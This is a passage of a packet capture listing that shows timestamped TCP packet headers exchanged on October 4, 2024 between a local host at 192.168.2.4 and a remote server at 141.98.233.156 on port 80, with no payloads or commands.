Oct 4, 2024 09:52:27.583136082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583151102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583168983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583188057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583201885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583211899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583235025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583250046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583290100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583431005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583481073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583489895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583513021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583529949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583545923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583564997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583596945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583627939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583659887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583678961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583693027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583700895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583741903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583770990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583801985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583815098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583836079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583848000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583884001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583914042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583961964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.583961964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.583993912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584008932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584027052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584048986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584080935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584103107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584135056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584151983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584167004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584193945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584197998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584216118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584232092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584249973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584270000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584276915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584302902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584319115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584331036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584351063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584377050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584450960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584482908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584501028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584513903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584536076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584547043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584558010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584593058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584625006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584656000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584675074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584690094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584709883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584717035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584738970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584750891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584759951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584780931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584800005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584830046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584837914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584861994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584878922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584896088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584908962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584928036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584944963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584960938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.584978104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.584992886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585005045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585043907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585158110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585191965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585203886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585239887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585253954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585284948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585300922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585318089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585331917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585349083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585370064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585383892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585398912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585432053 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585474014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585505962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585521936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585537910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585556984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585570097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585594893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585603952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585628033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585649014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585866928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585899115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585917950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585931063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585947990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585963011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.585979939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.585994959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586013079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586029053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586035013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586061001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586077929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586092949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586106062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586124897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586143970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586155891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586164951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586186886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586205006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586215973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586232901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586247921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586261034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586278915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586297035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586312056 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586339951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586360931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586390972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586424112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586438894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586457014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586472034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586489916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586504936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586538076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586604118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586637020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586653948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586668968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586689949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586699963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586713076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586731911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586749077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586783886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586838007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586869955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586891890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586903095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586915016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586935043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586949110 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.586968899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.586997032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587029934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587047100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587079048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587097883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587131977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587558985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587589979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587613106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587632895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587637901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587670088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587688923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587702036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587723970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587735891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587745905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587769985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587785959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587800980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.587814093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.587847948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.631683111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631696939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631710052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631724119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631740093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631752968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631767988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.631861925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.631861925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.631861925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.670948982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.670984983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671017885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671049118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671082020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671129942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671133041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671133041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671133041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671133041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671164036 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671195030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671216011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671216011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671216011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671227932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671242952 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671260118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671287060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671308041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671320915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671340942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671366930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671372890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671386957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671421051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671432018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671458006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671473980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671511889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671541929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671574116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671595097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671607018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671621084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671652079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671669006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671700954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671717882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671751976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671756983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671786070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671799898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671835899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.671928883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.671983957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672035933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672065020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672091961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672096014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672111034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672146082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672146082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672178984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672199011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672228098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672229052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672261000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672277927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672291994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672311068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672322989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672333002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672354937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672400951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672411919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672413111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672431946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672446012 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672463894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672472954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672496080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672507048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672535896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672538996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672564030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672605991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672653913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672684908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672699928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672718048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672725916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672749996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672760963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672782898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672790051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672825098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672827959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672861099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.672873020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.672902107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673046112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673073053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673105955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673106909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673136950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673156023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673185110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673217058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673228979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673249006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673259020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673280954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673290968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673322916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673330069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673362970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673377991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673394918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673403025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673437119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673485041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673516989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673547983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673579931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673579931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673609972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673609972 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673610926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673634052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673655987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673794985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673826933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673855066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673857927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673887968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673891068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673909903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673923016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673928022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673954010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673966885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.673985958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.673999071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674017906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674029112 CEST	49745	80	192.168.2.4	141.98.233.156
